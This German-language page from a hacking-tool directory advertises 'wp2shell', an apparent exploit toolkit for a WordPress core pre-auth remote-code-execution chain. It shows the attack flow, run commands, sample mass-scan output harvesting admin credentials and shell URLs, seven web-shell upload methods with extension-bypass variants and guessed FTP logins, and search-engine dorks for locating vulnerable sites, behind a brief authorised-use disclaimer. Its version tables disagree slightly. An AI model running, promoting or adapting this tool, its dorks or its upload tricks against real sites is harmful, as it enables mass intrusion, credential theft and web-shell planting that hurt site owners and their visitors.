Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/anggatechi/cve-2026-63030
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstests
GitHubanggatechi/cve-2026-63030

CVE-2026-63030

WordPress Core Pre-Auth RCE — Batch-Routen-Konfusion + SQL-Injection

Repository anzeigen
113vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wp2shell — WordPress Core Pre-Auth RCE

CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Exploitation-Toolkit ohne Abhängigkeiten für die wp2shell-Schwachstellenkette im WordPress Core. Eine einzige anonyme HTTP-Anfrage führt auf einer Standard-WordPress-Installation zur Remote-Codeausführung, ohne dass Plugins erforderlich sind.


📋 Inhaltsverzeichnis

  • Betroffene Versionen
  • Exploit-Ablauf
  • Schnellstart
  • Demo
  • Funktionen
  • Upload-Methoden
  • Ausgabedateien
  • Dork / Hunting
  • Referenzen
  • Haftungsausschluss

🎯 Betroffene Versionen

BereichAuswirkungBehoben in
7.0.0 – 7.0.1Vollständige RCE7.0.2

Keine Plugins oder spezielle Konfiguration erforderlich. Eine reine WordPress-Installation ist ausnutzbar.


🔗 Exploit-Ablauf

root@kitploit:~
┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 Schnellstart

root@kitploit:~
pip install requests
python exploit.py
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

Einzelnes Ziel

root@kitploit:~
python exploit.py
root@kitploit:~
  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

Massen-Scan

root@kitploit:~
python exploit.py
root@kitploit:~
┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ Funktionen

  • Keine Abhängigkeiten — Nur Python-3.11+-Standardbibliothek (requests nur für den Expander)
  • Multithreading — 15 Threads standardmäßig, bis zu 30
  • Automatische Fortsetzung — log/scanned.txt überspringt bereits gescannte Ziele
  • Stiller Batch-Modus — Saubere Tabellenausgabe, kein Log-Spam
  • Automatische Erkennung — Prüfung auf WordPress-, Batch-API- und SQLi-Verfügbarkeit
  • 7 parallele Upload-Methoden — Race-Condition, bei der die erste erfolgreiche Methode gewinnt

📤 Upload-Methoden

Alle 7 Methoden werden parallel über ThreadPoolExecutor ausgeführt. Die erste erfolgreiche Methode gewinnt, der Rest wird abgebrochen.

Dateiendungen für den Medien-Upload: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

Versuchte FTP-Zugangsdaten: localhost / 127.0.0.1 mit root / www-data / WordPress-Admin-Zugangsdaten


📁 Ausgabedateien

DateiInhalt
result.txtAdmin-Zugangsdaten: url.com/wp-login.php:user:pass
result_upload.txtShell-URLs: shell_url | login_url:user:pass | method

🔍 Dork / Hunting

Shodan

root@kitploit:~
http.title:"WordPress"
http.component:"WordPress"

Fofa

root@kitploit:~
app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

root@kitploit:~
app:"WordPress"
"/wp-json/batch/v1"

Censys

root@kitploit:~
services.http.response.body:"/wp-json/batch/v1"

📚 Referenzen

  • Searchlight Cyber Advisory
  • Hadrian Technical Blog
  • WordPress 7.0.2 Release
  • Assetnote Research
  • Wordfence Threat Intel

⚠️ Haftungsausschluss

Dieses Tool dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung besitzen. Die Autoren übernehmen keine Haftung für Missbrauch.


📄 Lizenz

MIT-Lizenz. Einzelheiten finden Sie in LICENSE.

Tool herunterladen
6.9.0 – 6.9.4
Vollständige RCE
6.9.5
6.8.0 – 6.8.5Nur SQLi6.8.6
#MethodeBeschreibung
1direct-pluginZip per /wp-admin/plugin-install.php hochladen
2direct-themeZip per /wp-admin/theme-install.php hochladen
3rest-apiZip per POST an /wp-json/wp/v2/plugins mit Auth-Cookie senden
4plugin-editorPHP direkt über /wp-admin/plugin-editor.php schreiben
5theme-editorPHP in das aktive Theme-Verzeichnis schreiben
6ftp-bypassFTP-Zugangsdaten übermitteln, wenn WordPress danach fragt
7media-uploadPHP über die Mediathek mit 15 Dateiendungsvarianten hochladen
log/scanned.txt
Alle gescannten Hosts (automatisches Überspringen bei erneutem Lauf)